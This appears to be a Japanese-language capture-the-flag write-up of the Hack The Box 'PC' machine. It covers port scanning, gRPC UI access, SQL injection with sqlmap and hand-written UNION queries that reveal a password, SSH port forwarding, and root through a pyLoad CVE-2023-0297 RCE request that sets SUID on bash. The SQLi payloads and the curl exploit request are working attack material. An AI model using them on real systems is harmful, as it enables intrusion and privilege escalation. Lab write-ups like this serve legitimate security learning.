HTB_PC - meruneru/tech_memo GitHub Wiki
- 全ポートスキャンは--min-rate指定で早くできる
- gRPCはgRPC UIでローカルAPIを叩けるようになる
- BurpSuiteのリクエストをファイルに保存してsqlmapでSQLiを探索できる
- SQL文のlimit 1 offset 1 を指定することで、SQLレスポンスを1行に収めながら次の行を表示できる
- SSHでサーバ上のポートをローカル側にポートフォワードできる。
- bashの所有者権限でbashを立ち上げるには-pオプションで。
SSH と #gRPC(50051) のポートが開いている。 ポート全スキャンをしないと見つからなかった。 「–min-rate」は1秒あたりに送信するパケット数を指定できて、多いほど調査が早い。
┌──(kali㉿kali)-[~/htb/pc]
└─$ nmap -p- -sC -sV --min-rate 5000 10.10.11.214 -oN nmappc -Pn
# Nmap 7.91 scan initiated Fri Aug 4 20:38:07 2023 as: nmap -p- -sC -sV --min-rate 5000 -oN nmap.log -Pn pc.htb
Nmap scan report for pc.htb (10.10.11.214)
Host is up (0.26s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 91:bf:44:ed:ea:1e:32:24:30:1f:53:2c:ea:71:e5:ef (RSA)
| 256 84:86:a6:e2:04:ab:df:f7:1d:45:6c:cf:39:58:09:de (ECDSA)
|_ 256 1a:a8:95:72:51:5e:8e:3c:f1:80:f5:42:fd:0a:28:1c (ED25519)
50051/tcp open unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.o
rg/cgi-bin/submit.cgi?new-service :
SF-Port50051-TCP:V=7.91%I=7%D=8/4%Time=64CD9A34%P=x86_64-pc-linux-gnu%r(NU
awsome gRPCでgRPCのツールを探してみるとgRPC UIがスターが多かったので、これを使ってみる。 postmanのgRPCバージョンのようなツールみたいだ。
httpアクセスする際は "-plaintext"と指定する必要があるみたいだ。 これで"http://127.0.0.1:34529/" にアクセスできる。
┌──(kali㉿kali)-[~]
└─$ ./go/bin/grpcui pc.htb:50051
Failed to dial target host "pc.htb:50051": tls: first record does not look like a TLS handshake
┌──(kali㉿kali)-[~]
└─$ ./go/bin/grpcui -plaintext pc.htb:50051 1 ⨯
gRPC Web UI available at http://127.0.0.1:34529/
/usr/bin/xdg-open: 882: www-browser: not found
/usr/bin/xdg-open: 882: links2: not found
/usr/bin/xdg-open: 882: elinks: not found
/usr/bin/xdg-open: 882: links: not found
/usr/bin/xdg-open: 882: lynx: not found
/usr/bin/xdg-open: 882: w3m: not found
xdg-open: no method available for opening 'http://127.0.0.1:34529/'
Failed to open browser: exit status 3
!./assets/Pasted image 20230805105144.png
試しに、admin/adminでログインすると、成功した。
-
Respoinse Data { "message": "Your id is 487." }
-
Response Trailers token b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2OTEyMzUwMTV9.kdnwvXSfzWYWWH9pqlCRijW6SkaVogtv13MwQI5WZaw'
id部分にSQLiを仕込めないか調査する。 ハンバーガーボタンから"Copy to file"でファイルに書き込み、id部分をアスタリスクにする。
┌──(kali㉿kali)-[~/htb/pc]
└─$ cat req.burp
POST /invoke/SimpleApp.getInfo HTTP/1.1
Host: 127.0.0.1:34529
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-grpcui-csrf-token: X2p3CBN8l-1rJreHhgWCk8bPVGMFrHWKUkCv_K0qsCQ
X-Requested-With: XMLHttpRequest
Content-Length: 193
Origin: http://127.0.0.1:34529
Connection: close
Referer: http://127.0.0.1:34529/
Cookie: _grpcui_csrf_token=X2p3CBN8l-1rJreHhgWCk8bPVGMFrHWKUkCv_K0qsCQ
{"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2OTEyMTE0MTV9.995pxfzZ6tJ13SnctqasX53StHy30_w1ob52_SDbzks"}],"data":[{"id":"*"}]}
sqlmapを実行すると、UNION queryでSQLiできること、accountsテーブルにadminがあることがわかる。 ただadmin/adminはすでにわかっている・・・。
sqlmap -r req.burp --batch --dump
...
Type: UNION query
Title: Generic UNION query (random number) - 3 columns
Payload: {"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiL
CJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2OTEyMTE0MTV9
.995pxfzZ6tJ13SnctqasX53StHy30_w1ob52_SDbzks"}],"data":[{"id":"-2505
UNION ALL SELECT CHAR(113,98,120,122,113)||CHAR(75,106,108,106,103,
104,75,78,90,122,83,104,111,73,70,67,82,80,118,76,71,66,98,116,67,68
,100,98,116,114,100,113,100,80,89,75,116,84,114,115)||CHAR(113,106,9
8,120,113)-- hQNJ"}]}
---
[20:54:01] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[20:54:01] [INFO] fetching tables for database: 'SQLite_masterdb'
[20:54:01] [INFO] fetching columns for table 'accounts'
[20:54:01] [INFO] fetching entries for table 'accounts'
Database: <current>
Table: accounts
[1 entry]
+----------+----------+
| password | username |
+----------+----------+
| admin | admin |
+----------+----------+
gRPC UIの画面にて、idに下記をリクエストを入れて accountsテーブルのusernameカラム数を見てみると"2"だった。
123 union select count(username) from accounts
{
"message": "2"
}
2ユーザー登録されているものの gRPCのレスポンスとして、1行しか返せないようだ。
limit と offsetを使ってほしいところだけを取得すると sau/HereIsYourPassWord1431 というID/PWの組み合わせが見つかった。
123 union select username from accounts limit 1 offset 1
{
"message": "sau"
}
123 union select password from accounts limit 1 offset 0
{
"message": "HereIsYourPassWord1431"
}
123 union select username from accounts limit 1 offset 1
{
"message": "admin"
}
sau/HereIsYourPassWord1431 でSSHログインできた。 get user flag !
$ ssh pc.htb -l sau
sau@pc:~$ id
uid=1001(sau) gid=1001(sau) groups=1001(sau)
権限昇格のための情報を収集する #LinPEAS github を実行する。
# Output to file
./linpeas.sh -a > /dev/shm/linpeas.txt #Victim
less -r /dev/shm/linpeas.txt #Read with colors
53(DNS), 8000ポートが開いている。
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:9666 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::50051 :::* LISTEN -
リモートサーバでwget localhost:8000 とすると、index.htmlが取得できるので、 ローカルポートフォワーディングを行ってブラウザでアクセスする。
$ ssh -L 8000:127.0.0.1:8000 [email protected]
上記コマンドはSSHによるポートフォワーディングを行うもので、 #ポートフォワーディング とは、ネットワークでの通信経路を特定のルールに従って転送する概念を指します。
コマンドは以下の形式になっています:
ssh -L [local port]:[remote host]:[remote port] [username]@[ssh server]
それぞれの部分について説明すると:
-
ssh: Secure Shellの略で、ネットワークプロトコルの一つ。暗号化された通信経路を確立し、リモートマシンでのコマンド実行やファイル転送を可能にします。 -
-L: SSHのオプションで、ローカルポートフォワーディングを指定します。このオプションを指定すると、SSH接続を通じてリモートマシンの特定のポートへの通信を、ローカルマシンの特定のポートからリモートマシンの特定のポートへ転送できます。 -
8000:127.0.0.1:8000:-Lオプションの後に指定する3つの値です。[local port]:[remote host]:[remote port]の形式です。ここでは、ローカルマシンのポート8000からの通信を、リモートマシン(127.0.0.1)のポート8000に転送するよう指定しています。127.0.0.1は特別なIPアドレスで、自分自身(SSH接続を行うマシン自体)を指します。 -
[email protected]: SSH接続を行うリモートマシンの情報。[username]@[ssh server]の形式で、ユーザー名がsau、SSHサーバーのIPアドレスが10.129.37.201となっています。
ポートフォワーディングの効果は、例えばローカルマシン上で動いているウェブブラウザから、http://localhost:8000にアクセスすると、実際にはリモートマシンの8000番ポートで動いているサービスに接続する、というものです。ローカルマシン上であたかもリモートのサービスが動いているかのように扱うことができます。これはデバッグやリモートで動作しているサービスへの安全な接続などに利用されます。
"http://localhost:8000" にアクセスすると、pyLoadというサービスにつながる。
https://github.com/bAuh0lz/CVE-2023-0297_Pre-auth_RCE_in_pyLoad この脆弱性を使うことでRCEできる刺さる。
RCEで下記コマンドをpc.htb内部で実行させることで、bashバイナリの所有者であるrootとしてbashを起動させることができる。
chmod u+s /usr/bin/bash
上記コマンドをURLエンコーディグして、下記リクエストをvictim先に投げつける。
┌──(kali㉿kali)-[~/htb/pc]
└─$ curl -i -s -k -X $'POST' \
--data-binary $'jk=pyimport%20os;os.system(\"chmod+u%2bs+/usr/bin/bash\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
$'http://localhost:8000/flash/addcrypted2'
-pオプションをつけることで、bashの所有者rootとしてログインできる。
sau@pc:~$ bash -p
bash-5.0#